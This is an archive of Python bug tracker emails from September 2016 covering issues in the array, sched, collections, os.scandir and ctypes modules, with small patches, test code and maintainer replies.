Message-ID: <1475054625.06.0.0256262501667.issue27838@psf.upfronthosting.co.za>


Kubilay Kocak added the comment:

Attach file with test results.

It's worth mentioning that these results may (or may not) be different than output when running under the process id started by twistd, which is executed by root (startup script), and results in the following command:

buildbot  9627   0.0  0.3 116200 11112  -  I    Thu17       4:51.87 /usr/local/bin/python2.7 /usr/local/bin/twistd --uid=buildbot --gid=buildbot --pidfile=/usr/home/buildbot/python/twistd.pid --python=/usr/home/buildbot/python/buildbot.tac

----------
Added file: http://bugs.python.org/file44859/groups-test.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27838>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:31:40 2016
From: report at bugs.python.org (Arvind Padmanabhan)
Date: Wed, 28 Sep 2016 09:31:40 +0000
Subject: [issue28297] sched module example has wrong output
Message-ID: <1475055099.98.0.944260791196.issue28297@psf.upfronthosting.co.za>


New submission from Arvind Padmanabhan:

Example in the sched module shows the following output:

930343690.257
>From print_time 930343695.274 positional
>From print_time 930343695.275 keyword
>From print_time 930343700.273 default
930343700.276

But since "keyword" is scheduled with a higher priority (lower number), it should be printed first.

URL: https://docs.python.org/3/library/sched.html
Section: 17.6

----------
assignee: docs at python
components: Documentation
messages: 277600
nosy: Arvind Padmanabhan, docs at python
priority: normal
severity: normal
status: open
title: sched module example has wrong output
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28297>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:43:34 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 28 Sep 2016 09:43:34 +0000
Subject: [issue5895] socketmodule.c on HPUX ia64
 without	_XOPEN_SOURCE_EXTENDED compiles incorrectly
In-Reply-To: <1241195874.94.0.470854501498.issue5895@psf.upfronthosting.co.za>
Message-ID: <1475055814.5.0.127435616156.issue5895@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> out of date
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5895>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:51:05 2016
From: report at bugs.python.org (Manuel Krebber)
Date: Wed, 28 Sep 2016 09:51:05 +0000
Subject: [issue28296] Add __le__ and __ge__ to collections.Counter
In-Reply-To: <1475054083.73.0.310763027677.issue28296@psf.upfronthosting.co.za>
Message-ID: <1475056265.89.0.761154198129.issue28296@psf.upfronthosting.co.za>


Manuel Krebber added the comment:

Oh, I should have searched properly before creating this ticket. Sorry about that. I guess I will be subclassing Counter in my project then, to get this functionality... Only problem is, that when using the builtin __add__ etc. of my Counter subclass, I will get a Counter instance, that does not support ordering... So I guess I will not use it at all.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28296>
_______________________________________

From report at bugs.python.org  Wed Sep 28 05:53:35 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 09:53:35 +0000
Subject: [issue28297] sched module example has wrong output
In-Reply-To: <1475055099.98.0.944260791196.issue28297@psf.upfronthosting.co.za>
Message-ID: <1475056415.85.0.361781017487.issue28297@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Though the delay arguments of keyword and positional are both 5, but their register time has tiny difference: 930343695.274 vs 930343695.275, so positional is printed first.

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28297>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:00:44 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 10:00:44 +0000
Subject: [issue28297] sched module example has wrong output
In-Reply-To: <1475055099.98.0.944260791196.issue28297@psf.upfronthosting.co.za>
Message-ID: <1475056844.77.0.559861378405.issue28297@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Sorry, it's not 930343695.274 vs 930343695.275. I mean the register time is time.time() + delay, so there is tiny difference between the two. You can change the timefunc to lambda: int(time.time()), then you'll see keyword is printed first.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28297>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:09:37 2016
From: report at bugs.python.org (Oren Milman)
Date: Wed, 28 Sep 2016 10:09:37 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
Message-ID: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
On my Windows 10, on a 32-bit Python, The following runs fine:
    import array
    array.array('L').append(2 ** 32 - 1)

However, in the following, an OverflowError('Python int too large to convert to C long') is raised on the last line:
    import array
    class LikeInt:
        def __init__(self, intVal):
            self.intVal = intVal
        def __int__(self):
            return self.intVal
    array.array('L').append(LikeInt(2 ** 32 - 1))

The reason for this behavior is the implementation of the function LL_setitem (in Modules/arraymodule.c) (edited brutally for brevity):
    LL_setitem(arrayobject *ap, Py_ssize_t i, PyObject *v)
    {
        unsigned long x;
        if (PyLong_Check(v)) {
            x = PyLong_AsUnsignedLong(v);
        }
        else {
            long y;
            PyArg_Parse(v, "l;array item must be integer", &y);
            x = (unsigned long)y;
        }
        (ap->ob_item)[i] = x;
    }
The problem is that PyArg_Parse is used to convert a Python int into a C long. So PyArg_Parse fails when it is given a Python int which is in range(LONG_MAX + 1, ULONG_MAX + 1), even though such Python int can be stored in a C unsigned long.

It is quite the same for array('I') and array('Q') (i.e. in II_setitem and in QQ_setitem, respectively).

With regard to relevant changes made in the past, PyArg_Parse was always used  (in case '!PyLong_Check(v)'), since adding the original versions of:
    * II_setitem and LL_setitem (back then, they were called I_setitem and L_setitem, respectively), in changeset 4875 (https://hg.python.org/cpython/rev/911040e1bb11)
    * QQ_setitem, in changeset 72430 (https://hg.python.org/cpython/rev/15659e0e2b2e)


------------ proposed changes ------------
    1. In Modules/arraymodule.c, change the implementation of LL_setitem (and likewise, of II_setitem and QQ_setitem) roughly to the following:
        LL_setitem(arrayobject *ap, Py_ssize_t i, PyObject *v)
        {
            unsigned long x;
            if (!PyLong_Check(v)) {
                v = _PyLong_FromNbInt(v);
            }
            x = PyLong_AsUnsignedLong(v);
            (ap->ob_item)[i] = x;
        }

    2. In Lib/test/test_array.py, add tests:
        * to verify the bug is fixed, i.e. test the bounds of setting int-like objects to items in an integers array
        * to verify float objects can't be set to items in an integers array (as is already the behavior, but there aren't any tests for it)

    3. While we are in Lib/test/test_array.py, remove any checks whether 'long long' is available, as it must be available, since changeset 103105 (https://hg.python.org/cpython/rev/9206a86f7321).

Note that issue #12974 (opened in 2011) proposes deprecating the ability to set int-like objects to items in an integers array. (I am not sure how that affects my patch, but I guess it should be noted.)


------------ diff ------------
The proposed patches diff file is attached.

(Note that the I didn't propose to change the perplexing error message 'unsigned int is greater than maximum' in II_setitem, as there are many such messages in the codebase, and I am working on a patch for them as part of issue #15988.)


------------ tests ------------
I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output. (That also means my new tests in test_array passed.)
The outputs of both runs are attached.

----------
components: Library (Lib)
files: patchedCPythonTestOutput_ver1.txt
messages: 277604
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: can't set big int-like objects to items in array 'Q', 'L' and 'I'
type: behavior
Added file: http://bugs.python.org/file44860/patchedCPythonTestOutput_ver1.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:11:08 2016
From: report at bugs.python.org (Oren Milman)
Date: Wed, 28 Sep 2016 10:11:08 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475057468.56.0.164063375646.issue28298@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


Added file: http://bugs.python.org/file44861/CPythonTestOutput.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:11:34 2016
From: report at bugs.python.org (Oren Milman)
Date: Wed, 28 Sep 2016 10:11:34 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475057494.45.0.330650890113.issue28298@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44862/issue28298_ver1.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:14:35 2016
From: report at bugs.python.org (Oren Milman)
Date: Wed, 28 Sep 2016 10:14:35 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475057675.81.0.763256930746.issue28298@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:24:29 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Wed, 28 Sep 2016 10:24:29 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475058269.98.0.267171147125.issue28288@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

+1, but I'd name the env var PYTHON3WARNINGS.

Who knows, when Python 4 comes around the corner, we may need a PYTHON4WARNINGS...

----------
nosy: +lemburg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Wed Sep 28 06:51:13 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 10:51:13 +0000
Subject: [issue28297] sched module example has wrong output
In-Reply-To: <1475055099.98.0.944260791196.issue28297@psf.upfronthosting.co.za>
Message-ID: <1475059873.83.0.768331273851.issue28297@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28297>
_______________________________________

From report at bugs.python.org  Wed Sep 28 07:07:42 2016
From: report at bugs.python.org (Paul Moore)
Date: Wed, 28 Sep 2016 11:07:42 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1475060862.23.0.236248167674.issue28247@psf.upfronthosting.co.za>


Paul Moore added the comment:

OK, here's a first draft documentation patch. As it's purely a documentation change, I guess it should go into the 3.5, 3.6 and trunk branches? For now it's against trunk (it's not like that file has changed recently anyway), and I'll sort out the merge dance once it looks OK.

----------
components: +Documentation -Library (Lib), Windows
keywords: +patch
stage: needs patch -> patch review
versions: +Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44863/zipapp-doc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Wed Sep 28 07:24:35 2016
From: report at bugs.python.org (azrdev)
Date: Wed, 28 Sep 2016 11:24:35 +0000
Subject: [issue24549] string.format() should have a safe_substitute equivalent, 
 to be run consecutively
In-Reply-To: <1435783349.65.0.381555612902.issue24549@psf.upfronthosting.co.za>
Message-ID: <1475061875.23.0.641578537466.issue24549@psf.upfronthosting.co.za>


azrdev added the comment:

(Sorry for not replying so long, I expected an email notification)

> Why not use string.Template?

because it's so slow

> I think that there may be a good argument to be made for a safe_format with *named* arguments, like string.Template, but not positional arguments.

Yes!

> But that would require some discussion, to decide on the correct behaviour.

What open question(s) do you think of?


For context, I got the idea for this from Qts .arg() which can be chained, see <https://doc.qt.io/qt-5/qstring.html#arg>.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24549>
_______________________________________

From report at bugs.python.org  Wed Sep 28 07:47:13 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 11:47:13 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475063233.2.0.53566204415.issue28298@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Wed Sep 28 07:47:56 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 11:47:56 +0000
Subject: [issue12974] array module: deprecate '__int__' conversion support for
 array elements
In-Reply-To: <1315961295.78.0.425877150438.issue12974@psf.upfronthosting.co.za>
Message-ID: <1475063276.18.0.0132646648426.issue12974@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12974>
_______________________________________

From report at bugs.python.org  Wed Sep 28 07:48:09 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 28 Sep 2016 11:48:09 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475063289.73.0.0790840648943.issue28298@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +mark.dickinson, meador.inge

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Wed Sep 28 07:53:01 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 28 Sep 2016 11:53:01 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475063581.99.0.882554173233.issue28183@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44864/dict_iter4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Wed Sep 28 08:26:34 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 28 Sep 2016 12:26:34 +0000
Subject: [issue24549] string.format() should have a safe_substitute equivalent, 
 to be run consecutively
In-Reply-To: <1435783349.65.0.381555612902.issue24549@psf.upfronthosting.co.za>
Message-ID: <1475065594.1.0.999187383818.issue24549@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

>> But that would require some discussion, to decide on the correct behaviour.

>What open question(s) do you think of?

You need to provide an exact specification of what you want. It's not clear, for example, if you want to support required positional placeholders ({0}, etc.) but optionally missing named placeholders ({foo}).

I'd also suggest implementing this as a function, so you can get some real-world usage out of it. Maybe:

def format_safe(s, *args, **kwargs):

format_safe("{0} {1} {foo} {bar}", 'one', 'two', bar='bar')
->
'one two {foo} bar}'

or whatever you decide the signature and functionality should be.

You can probably subclass from string.Formatter to do some of the heavy lifting for you, so I expect this wouldn't be very hard, depending on what you're really after.

While you might find this function useful, I don't want to get your hopes up that this would be added to core Python as a member of str. I still don't see why this would be better than a single call to .format() that specifies all of the parameters. You'd have to have some use case that doesn't involve chaining for that to make sense (to me). And maybe functools.partial() or some derivative would make sense in that case.

----------
status: open -> pending
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24549>
_______________________________________

From report at bugs.python.org  Wed Sep 28 08:39:39 2016
From: report at bugs.python.org (Michael Felt)
Date: Wed, 28 Sep 2016 12:39:39 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
In-Reply-To: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>
Message-ID: <1475066379.6.0.0729756630026.issue28276@psf.upfronthosting.co.za>


Michael Felt added the comment:

Is this suitable?

    def test_find(self):
        # to track that at least one call to find_library() found something
        found = false
        for name in ("c", "m"):
            lib = find_library(name)
            if lib:
                found = true
                cdll.LoadLibrary(lib)
                CDLL(lib)
        # test is FAILED if nothing was found
        self.assertTrue(found)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Wed Sep 28 08:42:11 2016
From: report at bugs.python.org (Michael Felt)
Date: Wed, 28 Sep 2016 12:42:11 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
In-Reply-To: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>
Message-ID: <1475066531.01.0.760908755162.issue28276@psf.upfronthosting.co.za>


Michael Felt added the comment:

ok - false needs to be False and true needs to be True

seemed so simple. Sigh.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Wed Sep 28 08:47:27 2016
From: report at bugs.python.org (David Staab)
Date: Wed, 28 Sep 2016 12:47:27 +0000
Subject: [issue28299] DirEntry.is_dir() evaluates True for a file on Windows
Message-ID: <1475066847.35.0.133990491826.issue28299@psf.upfronthosting.co.za>


New submission from David Staab:

I'm using Python 3.5.2 on Windows 10 Pro to run the following code with the attached file structure.

The test code is:
from os import DirEntry, scandir

def test_is_dir():
    for item in os.scandir(TEST_DIR):
        if item.is_dir:
            print(item.path)
    return

TEST_DIR = '.'
test_is_dir()


The console output is:
===============
Connected to pydev debugger (build 162.1967.10)
.\20160707
.\scratchpad.py

Process finished with exit code 0
===============

I would expect to only see '.\20160707', but "if item.is_dir:" always evaluates to True.

I notice that changing the import line to "from os import DirEntry, scandir" yields the exception "ImportError: cannot import name 'DirEntry'".

----------
components: Windows
files: testmodule.zip
messages: 277611
nosy: David Staab, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: DirEntry.is_dir() evaluates True for a file on Windows
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44865/testmodule.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28299>
_______________________________________

From report at bugs.python.org  Wed Sep 28 08:48:48 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 28 Sep 2016 12:48:48 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475066928.43.0.783347907514.issue28183@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Draft Misc/NEWS entry (and commit message) is:

 Core and Builtins
 -----------------

+- Issue #28183: Optimize dict iteration.
+

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Wed Sep 28 08:50:52 2016
From: report at bugs.python.org (Paul Moore)
Date: Wed, 28 Sep 2016 12:50:52 +0000
Subject: [issue28299] DirEntry.is_dir() evaluates True for a file on Windows
In-Reply-To: <1475066847.35.0.133990491826.issue28299@psf.upfronthosting.co.za>
Message-ID: <1475067052.5.0.696521444041.issue28299@psf.upfronthosting.co.za>


Paul Moore added the comment:

is_dir is a *method*. To find out if an entry is a directory, you need to call it.

So you need

from os import DirEntry, scandir

def test_is_dir():
    for item in os.scandir(TEST_DIR):
        if item.is_dir():
            #         ^^ note change
            print(item.path)
    return

TEST_DIR = '.'
test_is_dir()

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28299>
_______________________________________

From report at bugs.python.org  Wed Sep 28 08:54:02 2016
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 28 Sep 2016 12:54:02 +0000
Subject: [issue28299] DirEntry.is_dir() evaluates True for a file on Windows
In-Reply-To: <1475066847.35.0.133990491826.issue28299@psf.upfronthosting.co.za>
Message-ID: <1475067242.42.0.444329854918.issue28299@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28299>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:16:34 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 28 Sep 2016 13:16:34 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1475068594.08.0.760187022637.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

haypo, Could you review fix-28147-py35.patch and fix-28147.patch ?

Draft NEWS entry:

- Issue #28147: Fixed split table dict may consume unlimited memory.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:30:34 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 28 Sep 2016 13:30:34 +0000
Subject: [issue27275] KeyError thrown by optimised
 collections.OrderedDict.popitem()
In-Reply-To: <1465446835.8.0.930561202137.issue27275@psf.upfronthosting.co.za>
Message-ID: <1475069434.5.0.150435729422.issue27275@psf.upfronthosting.co.za>


INADA Naoki added the comment:

lgtm

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27275>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:32:53 2016
From: report at bugs.python.org (Shlomi Fish)
Date: Wed, 28 Sep 2016 13:32:53 +0000
Subject: [issue28300] [PATCH] Fix misspelled "implemented" word
Message-ID: <1475069573.72.0.0295213559618.issue28300@psf.upfronthosting.co.za>


New submission from Shlomi Fish:

This patch fixes two places where "implement" was misspelled. I hereby disclaim all ownership of my changes (but crediting me will be appreciated.)

----------
files: python-fix-spelling-of-implement.patch
keywords: patch
messages: 277616
nosy: shlomif
priority: normal
severity: normal
status: open
title: [PATCH] Fix misspelled "implemented" word
versions: Python 3.7
Added file: http://bugs.python.org/file44866/python-fix-spelling-of-implement.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28300>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:42:04 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 28 Sep 2016 13:42:04 +0000
Subject: [issue28294] HTTPServer server.py assumes sys.stderr != None
In-Reply-To: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>
Message-ID: <1475070124.41.0.249543538106.issue28294@psf.upfronthosting.co.za>


R. David Murray added the comment:

That would be masking an error, I think.  What might be reasonable would be to convert it to use the logging module in 3.7.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:43:55 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 28 Sep 2016 13:43:55 +0000
Subject: [issue28296] Add __le__ and __ge__ to collections.Counter
In-Reply-To: <1475054083.73.0.310763027677.issue28296@psf.upfronthosting.co.za>
Message-ID: <1475070235.07.0.412233091295.issue28296@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28296>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:53:11 2016
From: report at bugs.python.org (Lou Picciano)
Date: Wed, 28 Sep 2016 13:53:11 +0000
Subject: [issue28301] python3.4-config --extension-suffix reports
 '.cpython-34m.so'
Message-ID: <1475070791.83.0.774355189291.issue28301@psf.upfronthosting.co.za>


New submission from Lou Picciano:

python3.4-config --extension-suffix reports '.cpython-34m.so'

Is this behavior as intended? Many build integrations may expect(?) an .so extension?

----------
components: Extension Modules
messages: 277618
nosy: DrLou
priority: normal
severity: normal
status: open
title: python3.4-config --extension-suffix reports '.cpython-34m.so'
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28301>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:54:55 2016
From: report at bugs.python.org (SilentGhost)
Date: Wed, 28 Sep 2016 13:54:55 +0000
Subject: [issue28300] [PATCH] Fix misspelled "implemented" word
In-Reply-To: <1475069573.72.0.0295213559618.issue28300@psf.upfronthosting.co.za>
Message-ID: <1475070895.35.0.906875449052.issue28300@psf.upfronthosting.co.za>


SilentGhost added the comment:

LGTM

----------
assignee:  -> docs at python
components: +Documentation
nosy: +SilentGhost, docs at python
stage:  -> commit review
type:  -> behavior
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28300>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:04:29 2016
From: report at bugs.python.org (SilentGhost)
Date: Wed, 28 Sep 2016 14:04:29 +0000
Subject: [issue28293] Don't completely dump the regex cache when full
In-Reply-To: <1475038169.86.0.21816130335.issue28293@psf.upfronthosting.co.za>
Message-ID: <1475071468.98.0.0967352637957.issue28293@psf.upfronthosting.co.za>


SilentGhost added the comment:

Serhiy, your patch doesn't seem to apply cleanly. Also, it's perhaps worth opening the issue if you'd like to continue working on it.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:06:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 14:06:25 +0000
Subject: [issue21903] ctypes documentation MessageBoxA example produces error
In-Reply-To: <1404292489.9.0.647841786316.issue21903@psf.upfronthosting.co.za>
Message-ID: <20160928140610.20991.42285.2A595588@psf.io>


Roundup Robot added the comment:

New changeset 11c3d6a8f5fd by Berker Peksag in branch '3.5':
Issue #21903: Update ctypes example to use MessageBoxW
https://hg.python.org/cpython/rev/11c3d6a8f5fd

New changeset 3031e4a95131 by Berker Peksag in branch '3.6':
Issue #21903: Merge from 3.5
https://hg.python.org/cpython/rev/3031e4a95131

New changeset cb55aedcc7e8 by Berker Peksag in branch 'default':
Issue #21903: Merge from 3.6
https://hg.python.org/cpython/rev/cb55aedcc7e8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21903>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:07:24 2016
From: report at bugs.python.org (RAMESH PAMPANA)
Date: Wed, 28 Sep 2016 14:07:24 +0000
Subject: [issue28302] Unpacking numpy array give list
Message-ID: <1475071644.11.0.394277975452.issue28302@psf.upfronthosting.co.za>


New submission from RAMESH PAMPANA:

Unpacking numpy array gives list rather numpy array.

>>> import numpy as np
>>> a = np.array([1,2,3,4])
>>> x, *y, z = a
>>> type(a)
<class 'numpy.ndarray'>
>>> type(y)
<class 'list'>>
>> type(x)
<class 'numpy.int32'>

----------
components: Regular Expressions
messages: 277622
nosy: ezio.melotti, mrabarnett, rpampana
priority: normal
severity: normal
status: open
title: Unpacking numpy array give list
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28302>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:08:16 2016
From: report at bugs.python.org (Shlomi Fish)
Date: Wed, 28 Sep 2016 14:08:16 +0000
Subject: [issue28303] [PATCH] Fix broken grammar in "pydoc3 unittest"
Message-ID: <1475071696.39.0.282852342204.issue28303@psf.upfronthosting.co.za>


New submission from Shlomi Fish:

Currently the comment in the example in "pydoc3 unittest" reads:

?
## test method names begin 'test*'
?

This is broken grammar and the attached patch against the hg default branch corrects it. All tests are passing and I disclaim any implicit or explicit ownership of my changes.

----------
components: Library (Lib)
files: python-fix-broken-grammar-in-pydoc3-unittest.patch
keywords: patch
messages: 277623
nosy: shlomif
priority: normal
severity: normal
status: open
title: [PATCH] Fix broken grammar in "pydoc3 unittest"
versions: Python 3.7
Added file: http://bugs.python.org/file44867/python-fix-broken-grammar-in-pydoc3-unittest.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28303>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:13:22 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 14:13:22 +0000
Subject: [issue21903] ctypes documentation MessageBoxA example produces error
In-Reply-To: <1404292489.9.0.647841786316.issue21903@psf.upfronthosting.co.za>
Message-ID: <1475072002.09.0.487596585978.issue21903@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report! I've now updated the example to use MessageBoxw.

Eryk, do you find the second example (GetWindowRect) is useful? Can we make it more usable? Unless I'm missing something, we need to pass the return value of GetActiveWindow() to make it work.

----------
nosy: +berker.peksag, eryksun
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21903>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:21:03 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 14:21:03 +0000
Subject: [issue28300] [PATCH] Fix misspelled "implemented" word
In-Reply-To: <1475069573.72.0.0295213559618.issue28300@psf.upfronthosting.co.za>
Message-ID: <20160928142056.20829.97868.C8980087@psf.io>


Roundup Robot added the comment:

New changeset ce19dcce84fe by Berker Peksag in branch '3.5':
Issue #28300: Fix typos, patch by Shlomi Fish
